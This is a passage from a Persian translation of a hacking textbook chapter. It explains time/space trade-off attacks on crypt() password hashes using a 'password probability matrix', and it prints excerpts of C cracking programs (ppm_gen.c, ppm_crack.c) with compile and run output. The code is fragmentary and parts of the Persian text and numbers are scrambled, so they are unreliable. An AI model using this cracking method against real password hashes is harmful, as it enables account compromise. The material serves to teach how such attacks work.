اﺳﺖ .اﯾﻦ ﻣﺴﺌﻠﻪ ،ﻓﻀﺎی ذﺧﯿﺮه ﺳﺎزی ﻣﻮرد ﻧﯿﺎز را ﺑﻪ 4,6ﺗﺮاﺑﺎﯾﺖ اﻓﺰاﯾﺶ ﻣﯽ دﻫﺪ ﮐﻪ ﻋﻤﻼ اﻧﺴﺎن را از اﺟﺮای ﭼﻨـﯿﻦ
ﺣﻤﻠﻪ ای ﻣﻨﺼﺮف و دﻟﺴﺮد ﻣﯽ ﮐﻨﺪ.
ﯾﮏ راﺑﻄﻪ ﺗﺮاﺿﯽ ﺑﯿﻦ ﻗﺪرت ﻣﺤﺴﺎﺑﺎﺗﯽ و ﻓﻀﺎی ذﺧﯿﺮه ﺳﺎزی وﺟﻮد دارد .اﯾﻦ ﻣﻮرد در اﺑﺘﺪاﯾﯽ ﺗﺮﯾﻦ ﮔﻮﻧﻪ ﻫﺎی ﻋﻠﻮم
ﮐﺎﻣﭙﯿﻮﺗﺮ و زﻧﺪﮔﯽ روزاﻧﻪ دﯾﺪه ﻣﯽ ﺷﻮد .ﻓﺎﯾﻞ ﻫﺎی MP3ﺑﺮای ذﺧﯿﺮه ﯾﮏ ﻓﺎﯾﻞ ﺻﻮﺗﯽ ﺑﺎ ﮐﯿﻔﯿﺖ ﺑﺎﻻ 112در ﯾﮏ ﻓﻀﺎی
ﺗﻘﺮﯾﺒﺎ ﮐﻮﭼﮏ از ﻓﺸﺮده ﺳﺎزی اﺳﺘﻔﺎده ﻣﯽ ﮐﻨﻨﺪ ،اﻣﺎ ﺗﻘﺎﺿﺎی ﻣﻨﺎﺑﻊ ﻣﺤﺎﺳﺒﺎﺗﯽ اﻓﺰاﯾﺶ ﻣـﯽ ﯾﺎﺑـﺪ .ﻣﺎﺷـﯿﻦ ﺣـﺴﺎب ﻫـﺎی
ﺟﯿﺒﯽ از اﯾﻦ ﺗﺮاﺿﯽ در ﺟﻬﺖ دﯾﮕﺮی اﺳﺘﻔﺎده ﻣﯽ ﮐﻨﻨﺪ ﮐﻪ ﺑﺎ ﻧﮕﻬﺪاری ﯾﮏ ﺟﺪول ﻣﺮاﺟﻌﻪ ﺑﺮای ﺗﻮاﺑﻌﯽ ﻣﺎﻧﻨﺪ ﺳـﯿﻨﻮس
و ﮐﺴﯿﻨﻮس ﻫﻤﺮاه اﺳﺖ ﮐﻪ ﺑﻪ اﯾﻦ ﺻﻮرت ﻣﺎﺷﯿﻦ ﺣﺴﺎب را از اﻧﺠﺎم ﻣﺤﺴﺎﺑﺎت ﺳﻨﮕﯿﻦ ﺑﺪور ﻣﯽ دارد.
ﻫﻤﭽﻨﯿﻦ اﯾﻦ ﺗﺮاﺿﯽ را ﻣﯽ ﺗﻮان در رﻣﺰﻧﮕﺎری در راﺑﻄﻪ ﺑﺎ ﺣﻤﻼت ﺗﺮاﺿﯽ زﻣﺎن/ﻓﻀﺎ 113اﻋﻤـﺎل ﮐـﺮد .روﺷـﻬﺎی ﻫﻠﻤـﻦ
) (Hellmanﺑﺮای اﯾﻦ ﻧﻮع ﺣﻤﻠﻪ ﻣﻮﺛﺮ ﻫﺴﺘﻨﺪ ،ﺑﻪ اﯾﻦ ﺻﻮرت ﮐﺪ ﻣﻨﺒﻊ زﯾﺮ را ﻣـﯽ ﺗـﻮان ﺑﺮاﺣﺘـﯽ درک ﮐـﺮد .ﻣـﻀﻤﻮن
اوﻟﯿﻪ ﻫﻤﯿﺸﻪ ﯾﮑﺴﺎن اﺳﺖ ،ﯾﻌﻨﯽ ﺳﻌﯽ ﺑﺮ ﯾﺎﻓﺘﻦ ﻧﻘﻄﻪ ﻣﻨﺎﺳﺐ ﺑﯿﻦ ﻗﺪرت ﻣﺤﺎﺳﺒﺎﺗﯽ و ﻓﻀﺎی ذﺧﯿﺮه ای ،ﺑﻄﻮرﯾﮑﻪ ﺑﺘـﻮان
ﯾﮏ ﺣﻤﻠﻪ ﺟﺎﻣﻊ brute-forceرا در ﻣﺪت زﻣﺎن ﮐﻮﺗﺎﻫﯽ ﺑﺎ ﻣﻘﺪار ﻣﻌﻘﻮﻟﯽ از ﻓﻀﺎی ذﺧﯿﺮه ای ﺑﻪ اﺗﻤﺎم رﺳﺎﻧﺪ .ﻣﺘﺎﺳـﻔﺎﻧﻪ
ﺑﻪ دﻟﯿﻞ ﻧﯿﺎز اﯾﻦ روش ﺑﻪ ﻧﻮﻋﯽ ﻋﻤﻞ ذﺧﯿﺮه ﺳﺎزی ،ﻣﻌﻤﺎی ﻏﯿﺮﻗﺎﺑﻞ ﺣﻞ ،saltﻫﻨﻮز ﻫﻢ رخ ﻣﯽ ﻧﻤﺎﯾﺎﻧﺪ .ﺑﺎ اﯾﻦ ﺣﺎل ﺗﻨﻬـﺎ
4,096ﻣﻘﺪار saltﻣﻤﮑﻦ در ﻫﺶ ﻫﺎی ﭘﺴﻮرد ﺑﻪ ﺳﺒﮏ )( cryptوﺟﻮد دارد ،ﻟﺬا ﺗﺎﺛﯿﺮ اﯾﻦ ﻣﺸﮑﻞ را ﻣﯽ ﺗـﻮان ﺑـﺎ ﮐـﻢ
ﮐﺮدن ﻓﻀﺎی ذﺧﯿﺮه ای ﻣﻮرد ﻧﯿﺎز ﮐﺎﻫﺶ داد ﺑﻄﻮرﯾﮑﻪ ﺑﺎ وﺟﻮد ﻣﻀﺮب 4,096ﻫﻨﻮز ﻫﻢ ﻣﻌﻘﻮل ﺑﺎﻗﯽ ﺑﻤﺎﻧﺪ.
اﯾﻦ روش از ﺷﮑﻠﯽ از ﻓﺸﺮده ﺳﺎزی اﺗﻼﻓﯽ 114اﺳﺘﻔﺎده ﻣﯽ ﮐﻨﺪ .در ﻫﻨﮕﺎم وارد ﺷﺪن ﻫـﺶ ﭘـﺴﻮرد ،ﺑﺠـﺎی اﺳـﺘﻔﺎده از
ﯾﮏ ﺟﺪول ﻣﺮاﺟﻌﻪ ﻫﺶ ﮐﺎﻣﻞ ،ﭼﻨﺪﯾﻦ ﻫﺰار ﻣﻘﺪار ﻣﻤﮑﻦ ﺑﺮای ﻣﺘﻦ واﺿﺢ ﺑﺮﮔﺸﺖ داده ﻣﯽ ﺷﻮﻧﺪ .اﯾﻦ ﻣﻘـﺎدﯾﺮ را ﻣـﯽ
ﺗﻮان ﺑﻪ ﺳﺮﻋﺖ ﭼﮏ ﮐﺮد ﺗﺎ ﺑﻪ ﭘﺴﻮرد ﻣﺘﻦ واﺿﺢ اﺻﻠﯽ ﻧﺰدﯾﮏ ﺷﺪ و اﺳﺘﻔﺎده از ﻓﺸﺮده ﺳـﺎزی اﺗﻼﻓـﯽ ﺳـﺒﺐ ﮐـﺎﻫﺶ
ﻓﻀﺎی ﻣﺤﺴﻮﺳﯽ ﺧﻮاﻫﺪ ﺷﺪ .در ﮐﺪ ﻣﺜﺎل زﯾﺮ ﻓﻀﺎی ﮐﻠﯿﺪ ﺑﺮای ﺗﻤﺎم ﭘـﺴﻮردﻫﺎی 4ﮐـﺎراﮐﺘﺮی ﻣﻤﮑـﻦ )ﺑـﺎ ﻣﻘـﺪار salt
ﺛﺎﺑﺖ( اﺳﺘﻔﺎده ﻣﯽ ﺷﻮد .ﻓﻀﺎی ذﺧﯿﺮه ﺳﺎزی ﻣﻮرد ﻧﯿﺎز ،در ﻣﻘﺎﯾﺴﻪ ﺑﺎ ﯾﮏ ﺟﺪول ﻣﺮاﺟﻌﻪ ﻫﺶ )ﺑﺎ ﻣﻘﺪار saltﺛﺎﺑﺖ( ﺑـﻪ
ﻣﯿﺰﺑﺎن %88ﮐﺎﻫﺶ ﻣﯽ ﯾﺎﺑﺪ و ﻓﻀﺎی ﮐﻠﯿﺪ ﮐﻪ ﻫﺪف brute-forceﺷﺪن ﻗﺮار ﻣﯽ ﮔﯿﺮد ﺣﺪودا ﺑﻪ ﻣﯿـﺰان 1018ﺑﺮاﺑـﺮ
ﮐﺎﻫﺶ ﻣﯽ ﯾﺎﺑﺪ .ﺑﺎ ﻓﺮض اﻣﺘﺤﺎن 10,000ﭘﺴﻮرد در واﺣﺪ زﻣﺎن ،اﯾﻦ روش را ﻣﯽ ﺗﻮان ﺑﺮای ﮐﺮک ﮐﺮدن ﻫﺮ ﭘـﺴﻮرد
ﮐﺎراﮐﺘﺮی )ﺑﺎ ﻣﻘﺪار saltﺛﺎﺑﺖ( در ﮐﻤﺘﺮ از 8ﺛﺎﻧﯿﻪ ﺑﮑﺎر ﺑﺮد ﮐﻪ در ﻣﻘﺎﯾﺴﻪ ﺑﺎ زﻣﺎن دو ﺳﺎﻋﺘﻪ ی ﻣﻮرد ﻧﯿـﺎز ﺑـﺮای ﺣﻤﻠـﻪ
ﺟﺎﻣﻊ brute-forceروی ﻫﻤﺎن ﻓﻀﺎی ﮐﻠﯿﺪ ﯾﮏ اﻓﺰاﯾﺶ ﺳﺮﻋﺖ ﻗﺎﺑﻞ ﻣﻼﺣﻈﻪ ﻣﺤﺴﻮب ﻣﯽ ﺷﻮد.
اﯾﻦ روش ﯾﮏ ﻣﺎﺗﺮﯾﺲ ﺳﻪ ﺑﻌﺪی دودوﯾﯽ را ﻣﯽ ﺳﺎزد ﮐﻪ اﺟﺰای ﻣﻘﺎدﯾﺮ ﻫﺶ را ﺑﺎ اﺟﺰای ﻣﻘﺎدﯾﺮ ﻣـﺘﻦ واﺿـﺢ ﻣﺘﻨـﺎﻇﺮ
ﻣﯽ ﺳﺎزد .روی ﻣﺤﻮر ،Xﻣﺘﻦ واﺿﺢ ﺑﻪ دو زوج ﺗﻘﺴﯿﻢ ﻣﯽ ﺷﻮد :دو ﮐﺎراﮐﺘﺮ ﻧﺨﺴﺖ و دو ﮐﺎراﮐﺘﺮ دوم .ﻣﻘـﺎدﯾﺮ ﻣﻤﮑـﻦ
درون ﯾﮏ ﺑﺮدار دودوﯾﯽ ﺷﻤﺎرش ﻣﯽ ﺷﻮﻧﺪ ﮐﻪ ﻃﻮﻟﯽ ﺑﺮاﺑـﺮ ﺑـﺎ 952ﯾـﺎ 9025ﺑﯿـﺖ )ﺣـﺪودا 1129ﺑﺎﯾـﺖ( دارد .روی
112
High Quality
113
Time/Space Trade-Off Attacks
– Lossy Compression 114در اﯾﻦ ﺣﺎﻟﺖ ﻣﻘﺪاری از اﻃﻼﻋﺎت از دﺳﺖ ﻣﯽ رود ،در ﻧﺘﯿﺠﻪ ﮐﯿﻔﯿﺖ اﯾﻦ روش ﭘﺎﺋﯿﻦ وﻟﯽ ﺑﺴﯿﺎر ﮐﺎرا و ﺳﺮﯾﻊ اﺳﺖ.
171
ﻣﺤﻄﻮر ،Yﻣﺘﻦ رﻣﺰی ﺑﻪ ﭼﻬﺎر ﻗﻄﻌﻪ ﺳﻪ-ﮐﺎراﮐﺘﺮی ﺗﻘﺴﯿﻢ ﻣﯽ ﺷﻮد .ﻣﻘﺎدﯾﺮ آﻧﻬﺎ ﻧﯿﺰ ﺑﻪ ﻃﺮﯾﻖ ﯾـﺎد ﺷـﺪه در ﺳـﺘﻮن ﻫـﺎ
ﺷﻤﺎرش ﻣﯽ ﺷﻮﻧﺪ ،اﻣﺎ ﻓﻘﻂ ﭼﻬﺎر ﺑﯿﺖ از ﮐﺎراﮐﺘﺮ ﺳﻮم ﻋﻤﻼ اﺳـﺘﻔﺎده ﻣـﯽ ﺷـﻮد ،ﻧﺘﯿﺠـﻪ آن 642 · 4ﯾـﺎ 16,384ﺗﻌـﺪاد
ﺳﺘﻮن ﺧﻮاﻫﺪ ﺑﻮد .ﻣﺤﻮر Zﺑﺮای ﻧﮕﻬﺪاری ﻫﺸﺖ ﻣﺎﺗﺮﯾﺲ دو ﺑﻌﺪی ﻣﺨﺘﻠﻒ اﺳﺘﻔﺎده ﻣﯽ ﺷﻮد ،ﻟﺬا ﺑﺮای ﻫﺮ زوج از ﻣﺘﻦ
واﺿﺢ ﺗﻌﺪاد ﭼﻬﺎر ﻣﺎﺗﺮﯾﺲ وﺟﻮد دارد.
ﻧﻈﺮﯾﻪ اﺳﺎﺳﯽ ﺗﮑﻪ ﮐﺮدن ﻣﺘﻦ واﺿﺢ ﺑﻪ دو ﻣﻘﺪار زوج ﻣﺮﺗﺐ اﺳﺖ ﮐﻪ در ﻃﻮل ﯾﮏ ﺑﺮدار ﺷﻤﺎرش ﻣﯽ ﺷـﻮﻧﺪ .ﻫـﺮ ﻣـﺘﻦ
واﺿﺢ ﻣﻤﮑﻦ در ﻗﺎﻟﺐ ﻣﺘﻦ رﻣﺰی ﻫﺶ ﻣﯽ ﺷﻮد و ﻣﺘﻦ رﻣـﺰی ﺟﻬـﺖ ﯾـﺎﻓﺘﻦ ﺳـﺘﻮن ﻣﻨﺎﺳـﺐ در ﻣـﺎﺗﺮﯾﺲ اﺳـﺘﻔﺎده ﻣـﯽ
ﮔﺮدد .ﺳﭙﺲ ﺑﯿﺖ ﺷﻤﺎرش ﻣﺘﻦ واﺿﺢ در ﺳﻄﺮ ﻣﺎﺗﺮﯾﺲ ﻓﻌﺎل ﻣﯽ ﺷـﻮد .ﻫﻨﮕـﺎم ﺗﻨـﺰل ﯾـﺎﻓﺘﻦ ﻣﻘـﺎدﯾﺮ ﻣـﺘﻦ رﻣـﺰی ﺑـﻪ
ﻗﻄﻌﺎت ﮐﻮﭼﮑﺘﺮ ،وﺟﻮد ﺗﺼﺎدم ﻫﺎ ) (collisionsﻏﯿﺮ ﻗﺎﺑﻞ اﺟﺘﻨﺎب اﺳﺖ.
ﻫﺶ )(hash ﻣﺘﻦ واﺿﺢ )(plaintext
jeHEAX1m66RV. test
jeHEA38vqlkkQ !J)h
jeHEA1Tbde5FE ".F+
jeHEAnX8kQK3I "8,J
در اﯾﻦ ﻣﻮرد ،ﺑﺎ اﺿﺎﻓﻪ ﺷﺪن زوج ﻫﺎی ﻫﺶ/ﻣﺘﻦ واﺿﺢ ﺑﻪ ﻣﺎﺗﺮﯾﺲ ،روﺷﻦ اﺳﺖ ﮐـﻪ ﺳـﺘﻮن HEAﺣـﺎوی ﺑﯿـﺖ ﻫـﺎﯾﯽ
اﺳﺖ ﮐﻪ ﺑﺎ زوج ﻫﺎی ﻣﺘﻦ واﺿﺢِ ِ te, !J, ".و "8ﻣﺘﻨﺎﻇﺮ ﻫﺴﺘﻨﺪ.
ﺑﻌﺪ از ﭘﺮ ﺷﺪن ﮐﺎﻣﻞ ﻣﺎﺗﺮﯾﺲ ،اﮔﺮ ﯾﮏ ﻫﺶ ﻣﺜﻞ jeHEA38vqlkkQوارد ﺷﻮد ،آﻧﮕﺎه ﺑﻪ ﺳﺘﻮن HEAﻣﺮاﺟﻌﻪ ﺷﺪه
و ﻣﺎﺗﺮﯾﺲ دو ﺑﻌﺪی ،ﻣﻘﺎدﯾﺮ " te, !J,و "8را ﺑﺮای دوﮐﺎراﮐﺘﺮ ﻧﺨﺴﺖِ ﻣﺘﻦ واﺿﺢ ﺑﺮﻣﯽ ﮔﺮداﻧﺪ .ﭼﻬﺎر ﻣﺎﺗﺮﯾﺲ ﻣـﺸﺎﺑﻪ
ﺑﺮای دو ﮐﺎراﮐﺘﺮ ﻧﺨﺴﺖ وﺟﻮد دارﻧﺪ ﮐﻪ ﻫﺮ ﮐﺪام از ﺗﻔﺎﺿﻞ زﯾﺮ-رﺷﺘﻪ ﻣﺘﻦ رﻣﺰی و ﮐﺎراﮐﺘﺮﻫﺎی 2اﻟﯽ 4 ،4اﻟـﯽ 6 ،6
اﻟﯽ 8و 8اﻟﯽ 10اﺳﺘﻔﺎده ﻣﯽ ﮐﻨﺪ ﺑﻪ اﯾﻦ ﺻﻮرت ﻫﺮ ﻣﺎﺗﺮﯾﺲ ﺑـﺎ ﺑـﺮداری ﻣﺘﻔـﺎوﺗﯽ از ﻣﻘـﺎدﯾﺮ ﻣﻤﮑـﻦ ﺑـﺮای ﻣﻘـﺪار دو
ﮐﺎراﮐﺘﺮ ﻧﺨﺴﺖ از ﻣﺘﻦ واﺿﺢ وﺟﻮد ﺧﻮاﻫﺪ داﺷﺖ .ﻫﺮ ﺑﺮدار ﺷﮑﺴﺘﻪ ﻣﯽ ﺷﻮد و ﺑﺎ ﻋﻤﻠﮕـﺮ ﻣﻨﻄﻘـﯽ ANDﺗﺮﮐﯿـﺐ ﻣـﯽ
ﺷﻮد .در اﯾﻦ ﺻﻮرت ﺗﻨﻬﺎ ﺑﯿﺖ ﻫﺎﯾﯽ ﺑﺎ ﻣﻘﺎدﯾﺮ 1ﺑﺎﻗﯽ ﻣﯽ ﻣﺎﻧﻨﺪ ﮐﻪ در زوج ﻫﺎی ﻣﺘﻦ واﺿﺢ ﺑﻪ ﻋﻨﻮان اﺣﺘﻤـﺎل ﺑـﺮای ﻫـﺮ
زﯾﺮ رﺷﺘﻪ از ﻣﺘﻦ رﻣﺰی ﻟﯿﺴﺖ ﺷﺪه اﻧﺪ .ﭼﻬﺎر ﻣﺎﺗﺮﯾﺲ دﯾﮕﺮ ﻧﯿﺰ ﺑﻪ ﻫﻤﯿﻦ ﻣﻨﻮال ﺑﺮای دو ﮐﺎراﮐﺘﺮ دوم ﻣﺘﻦ واﺿـﺢ ﻧﯿـﺰ
وﺟﻮد دارد.
اﻧﺪازه ﻣﺎﺗﺮﯾﺲ ﻫﺎ ﺗﻮﺳﻂ اﺻﻞ ﻻﻧﻪ ﮐﺒﻮﺗﺮی ﺗﻌﯿﯿﻦ ﮔﺸﺖ .ﻗﺎﻧﻮن ﺳﺎده ای ﮐﻪ ﺑﯿﺎن ﻣﯽ ﮐﻨﺪ ﮐﻪ اﮔﺮ k+1ﺷﯽ در kﺟﻌﺒـﻪ
ﻗﺮار ﮔﯿﺮﻧﺪ ،ﺣﺪاﻗﻞ ﯾﮑﯽ از ﺟﻌﺒﻪ ﻫﺎ ﺣﺎوی دو ﺷﯽ ﺧﻮاﻫﺪ ﺑﻮد .ﺑﻨﺎﺑﺮاﯾﻦ ،ﺑﺮای ﻧﯿﻞ ﺑﻪ ﺑﻬﺘﺮﯾﻦ ﻧﺘﯿﺠﻪ ﻫـﺪف اﯾـﻦ ﺧﻮاﻫـﺪ
ﺑﻮد ﮐﻪ ﻫﺮ ﺑﺮدار ،ﯾﮏ ﺑﯿﺖ ﮐﻤﺘﺮ از ﻧﺼﻒ ﺗﻤﺎم ﯾﮏ ﻫﺎ داﺷﺘﻪ ﺑﺎﺷﺪ .ﭼﻮن ﺗﻌﺪاد اﻗﻼم ﻣﻮﺟـﻮد در ﻣـﺎﺗﺮﯾﺲ ﻫـﺎ 954ﯾـﺎ
81,450,652ﺧﻮاﻫﺪ ﺑﻮد ،ﻟﺬا ﺑﺎﯾﺪ ﺗﻌﺪاد دراﯾﻪ ﻫﺎی ﺧﺎﻟﯽ دو ﺑﺮاﺑﺮ ﺷﻮد ﺗﺎ ﺑﻪ اﺷﺒﺎع ﺷﺪن 50درﺻﺪی ﺑﺮﺳـﯿﻢ .ﭼـﻮن
ﺳﺘﻮن ﻻزم اﺳﺖ ﮐﻪ ﺑﺮاﺑﺮ ﺑﺎ 18ﻫﺰار اﺳﺖ .ﭼﻮن زﯾﺮرﺷﺘﻪ ﻫـﺎی ﺗﻌﺪاد اﻗﻼم ﻫﺮ ﺑﺮدار 9,025اﺳﺖ ،ﭘﺲ ﺗﻌﺪاد
ﻣﺘﻦ رﻣﺰیِ ﺳﻪ ﮐﺎراﮐﺘﺮی ﺑﺮای ﺳﺘﻮن ﻫﺎ اﺳﺘﻔﺎده ﻣﯽ ﺷﻮﻧﺪ ،ﻟﺬا دو ﮐﺎراﮐﺘﺮ ﻧﺨﺴﺖ و 4ﺑﯿﺖ از ﺳﻮﻣﯿﻦ ﮐـﺎراﮐﺘﺮ را ﻣـﯽ
ﺗﻮان ﺑﺮای اراﺋﻪ 642 · 4ﯾﺎ ﺣﺪودا 16ﻫﺰار ﺳﺘﻮن ﺑﮑﺎر ﺑﺮد )ﺗﻨﻬﺎ 64ﻣﻘﺪار ﻣﻤﮑﻦ ﺑﺮای ﻫﺮ ﮐـﺎراﮐﺘﺮ در ﻫـﺶ ﻣﺮﺑـﻮط
ﺑﻪ ﻣﺘﻦ رﻣﺰی وﺟﻮد دارد( .اﯾﻦ وﺿﻌﯿﺖ ﺑﻪ ﻗﺪر ﮐﺎﻓﯽ ﻧﺰدﯾﮏ ﺑﻪ ﺷﺮاﯾﻂ ﻣﺎ اﺳﺖ ،ﭼﻮن ﻫﺮ ﯾﮏ ﺑﯿﺖ دو ﺑﺎر اﺿﺎﺿﻪ ﺷﻮد،
از ﻫﻤﭙﻮﺷﺎﻧﯽ ) (overlapﺑﻮﺟﻮد آﻣﺪه ﺻﺮف ﻧﻈﺮ ﻣﯽ ﺷﻮد .در ﻋﻤﻞ ﻫـﺮ ﺑـﺮدار ﺣـﺪود %42ﺑـﺎ ﻣﻘـﺎدﯾﺮ 1اﺷـﺒﺎع ﺷـﺪه
اﺳﺖ.
ﭼﻮن ﭼﻬﺎر ﺑﺮدار ﺑﺮای ﯾﮏ ﻣﺘﻦ رﻣﺰی واﺣﺪ اﺳﺘﻔﺎده ﻣﯽ ﺷﻮﻧﺪ ،اﺣﺘﻤﺎل وﺟﻮد ﻣﻘﺪار ﯾﮏ در ﻫﺮ ﺑـﺮدار در ﻫـﺮ ﺟﺎﯾﮕـﺎه
ﺷﻤﺎرﺷﯽ ﺑﺮاﺑﺮ 0.424ﯾﺎ ﺣﺪودا 3,11درﺻﺪ ﻣﯽ ﺑﺎﺷﺪ .ﯾﻌﻨﯽ ﺑﻪ ﻃﻮر ﻣﺘﻮﺳﻂ 9,025ﺟﺎﯾﮕﺎه اﺣﺘﻤـﺎﻟﯽ ﻣﻮﺟـﻮد ﺑـﺮای دو
ﮐﺎراﮐﺘﺮ ﻧﺨﺴﺖ از ﻣﺘﻦ رﻣﺰی ﺣﺪود %97ﮐﺎﺳﺘﻪ ﺷﺪه و ﺑﻪ 280ﺟﺎﯾﮕـﺎه اﺣﺘﻤـﺎﻟﯽ رﺳـﯿﺪه اﺳـﺖ .اﯾـﻦ روﻧـﺪ ﺑـﺮای دو
172
ﺑـﺎ ﻓـﺮض. ﻣﻘﺪار ﻣﻤﮑﻦ ﺑﺮای ﻣﺘﻦ رﻣﺰی اراﺋـﻪ ﻣـﯽ دﻫـﺪ78,400 ﯾﺎ2802 ﮐﺎراﮐﺘﺮ آﺧﺮ ﻧﯿﺰ ﺗﮑﺮار ﻣﯽ ﺷﻮد ﮐﻪ ﺣﺪود
. ﺛﺎﻧﯿﻪ ﭼﮏ ﮐﺮد8 ﻓﻀﺎی ﮐﻠﯿﺪ ﮐﻮﭼﮏ ﺷﺪه ی ﺣﺎﺿﺮ را ﻣﯽ ﺗﻮان در ﮐﻤﺘﺮ از، ﻣﻮرد در ﺛﺎﻧﯿﻪ10,000 اﻣﺘﺤﺎن
brute- اﯾﻦ ﺣﻤﻠﻪ ﺑﻪ اﻧﺪازه زﻣﺎن ﺻﺮف ﺷﺪه در اﯾﺠﺎد ﻣﺎﺗﺮﯾﺲ ﺑﺮای ﺣﻤﻠﻪ اﺻـﻠﯽ، اوﻻ.اﻟﺒﺘﻪ ﻧﻘﺺ ﻫﺎﯾﯽ ﻧﯿﺰ وﺟﻮد دارد
اﻟﺒﺘﻪ اﯾﻦ زﻣﺎن ﻓﻘﻂ ﯾﮑﺒﺎر ﺻﺮف ﻣﯽ ﺷﻮد ﭼـﺮا ﮐـﻪ در دﻓﻌـﺎت ﺑﻌـﺪ ﻧﯿـﺎز ﻧﯿـﺴﺖ )ﻣـﺎﺗﺮﯾﺲ در. زﻣﺎن ﻣﯽ ﻃﻠﺒﺪforuce
اﻣﮑﺎن اﺟﺮای ﻫﺮ ﮔﻮﻧﻪ ﺣﻤﻠﻪ ﻣﺒﻨﯽ ﺑـﺮsalt ﻣﻘﺎدﯾﺮ، ﺣﺘﯽ ﺑﺎ اﯾﻦ ﻓﻀﺎی ذﺧﯿﺮه ای ﮐﺎﻫﺶ ﯾﺎﻓﺘﻪ ﻧﯿﺰ، ﺛﺎﻧﯿﺎ.(دﺳﺘﺮس اﺳﺖ
.( را ﺳﻠﺐ ﻣﯽ ﮐﻨﺪstorage) ﻣﻨﺎﺑﻊ ذﺧﯿﺮه ای
.از دو ﮐﺪ ﻣﻨﺒﻊ زﯾﺮ ﻣﯽ ﺗﻮان ﺑﺮای اﯾﺠﺎد ﻣﺎﺗﺮﯾﺲ اﺣﺘﻤﺎل ﭘﺴﻮرد و ﮐﺮک ﮐﺮدن ﭘﺴﻮرد ﺑﺎ اﺳﺘﻔﺎده از آﻧﻬﺎ اﺳﺘﻔﺎده ﮐـﺮد
ﮐـﺎراﮐﺘﺮی ﻣﻤﮑـﻦ4 ﮐﺪ ﻣﻨﺒﻊ اول ﻣﺎﺗﺮﯾﺴﯽ اﯾﺠﺎد ﺧﻮاﻫﺪ ﮐﺮد ﮐﻪ ﻣﯽ ﺗﻮان آﻧﺮا ﺑﺮای ﮐـﺮک ﮐـﺮدن ﺗﻤـﺎم ﭘـﺴﻮردﻫﺎی
ﮐﺪ ﻣﻨﺒﻊ دوم از ﻣﺎﺗﺮﯾﺲ اﯾﺠﺎد ﺷﺪه )ﺗﻮﺳﻂ ﮐﺪ ﻣﻨﺒﻊ اول( ﺑﺮای ﮐﺮک ﮐـﺮدن. اﺳﺖje آﻧﻬﺎsaltاﺳﺘﻔﺎده ﮐﺮد ﮐﻪ ﻣﻘﺪار
.ﭘﺴﻮرد اﺳﺘﻔﺎده ﻣﯽ ﮐﻨﺪ
File: ppm_gen.c
/*****************************************************************\
* Password Probability Matrix * File: ppm_gen.c *
*******************************************************************
* *
* *
* Author: Jon Erickson <[email protected]> *
* Organization: Phiral Research Laboratories *
* *
* This is the generate program for the PPM proof of *
* concept. It generates a file called 4char.ppm, which *
* contains information regarding all possible 4 *
* character passwords salted with 'je'. This file can *
* used to quickly crack passwords found within this *
* keyspace with the corresponding ppm_crack.c program. *
\*****************************************************************/
#define _XOPEN_SOURCE
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
main()
{
char *plain;
char *code;
char *data;
int i, j, k, l;
173
unsigned int charval, val;
FILE *handle;
if (!(handle = fopen("4char.ppm", "w")))
{
printf("Error: Couldn't open file '4char.ppm' for writing.\n");
exit(1);
}
data = (char *) malloc(SIZE+19);
if (!(data))
{
printf("Error: Couldn't allocate memory.\n");
exit(1);
}
plain = data+SIZE;
code = plain+5;
plain[0] = (char)i;
plain[1] = (char)j;
plain[2] = (char)k;
plain[3] = (char)l;
plain[4] = 0;
code = crypt(plain, "je");
/*********************************************************\
* Password Probability Matrix * File: ppm_crack.c *
***********************************************************
* *
* Author: Jon Erickson <[email protected]> *
* Organization: Phiral Research Laboratories *
* *
* This is the crack program for the PPM proof of concept *
* It uses an existing file called 4char.ppm, which *
* contains information regarding all possible 4 *
* character passwords salted with 'je'. This file can *
* be generated with the corresponding ppm_gen.c program. *
* *
\*********************************************************/
#define _XOPEN_SOURCE
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
int singleval(char a)
{
int i, j;
i = (int)a;
if((i >= 46) && (i <= 57))
j = i - 46;
else if ((i >= 65) && (i <= 90))
j = i - 53;
else if ((i >= 97) && (i <= 122))
j = i - 59;
return j;
}
val = ((vector[(index/8)]&(1<<(index%8)))>>(index%8));
175
if (!val)
index = 31337;
return index;
}
void show(char *vector)
{
int i, a, b;
int val; for(i=0; i < 9025; i++)
{
val = grab(vector, i);
if(val != 31337)
{
a = val / 95;
b = val - (a * 95);
printf("%c%c ",a+32, b+32);
}
}
printf("\n");
}
main()
{
char plain[5];
char pass[14];
char bin_vector1[WIDTH];
char bin_vector2[WIDTH];
char temp_vector[WIDTH];
char prob_vector1[2][9025];
char prob_vector2[2][9025];
int a, b, i, j, len, pv1_len=0, pv2_len=0;
FILE *fd;
len = length(bin_vector1);
printf("sing length = %d\t%f%\n", len, len*100.0/9025.0);
len = length(bin_vector1);
printf("dual length = %d\t%f%\n", len, len*100.0/9025.0);
len = length(bin_vector1);
printf("trip length = %d\t%f%\n", len, len*100.0/9025.0);
fseek(fd,(DCM*3)+tripleval(pass[8], pass[9],pass[10])*WIDTH,
SEEK_SET);
176
fread(temp_vector, WIDTH, 1, fd);
merge(bin_vector1, temp_vector);
len = length(bin_vector1);
printf("quad length = %d\t%f%\n", len, len*100.0/9025.0);
show(bin_vector1);
printf("Last 2 characters: \tSaturation\n");
len = length(bin_vector2);
printf("sing length = %d\t%f%\n", len, len*100.0/9025.0);
len = length(bin_vector2);
printf("dual length = %d\t%f%\n", len, len*100.0/9025.0);
len = length(bin_vector2);
printf("trip length = %d\t%f%\n", len, len*100.0/9025.0);
fseek(fd,(DCM*7)+tripleval(pass[8], pass[9],pass[10])*WIDTH,
SEEK_SET);
fread(temp_vector, WIDTH, 1, fd);
merge(bin_vector2, temp_vector);
len = length(bin_vector2);
printf("quad length = %d\t%f%\n", len, len*100.0/9025.0);
show(bin_vector2);
fclose(fd);
}
ﻣﯽ ﺗﻮان ﺟﻬﺖ اﯾﺠﺎد ﯾﮏ ﻣـﺎﺗﺮﯾﺲ، را ﻫﻤﺎن ﻃﻮر ﮐﻪ در زﯾﺮ ﻧﺸﺎن داده ﺷﺪه اﺳﺖppm_gen.c اوﻟﯿﻦ ﻗﻄﻌﻪ ﮐﺪ ﯾﻌﻨﯽ
: ﮐﺎراﮐﺘﺮی اﺳﺘﻔﺎده ﮐﺮد4 اﺣﺘﻤﺎل ﭘﺴﻮرد
$ gcc -O3 -o gen ppm_gen.c -lcrypt
$ ./gen
Adding ** to 4char.ppm..
Adding !** to 4char.ppm..
Adding "** to 4char.ppm..
Adding #** to 4char.ppm..
Adding $** to 4char.ppm..
[Output snipped]
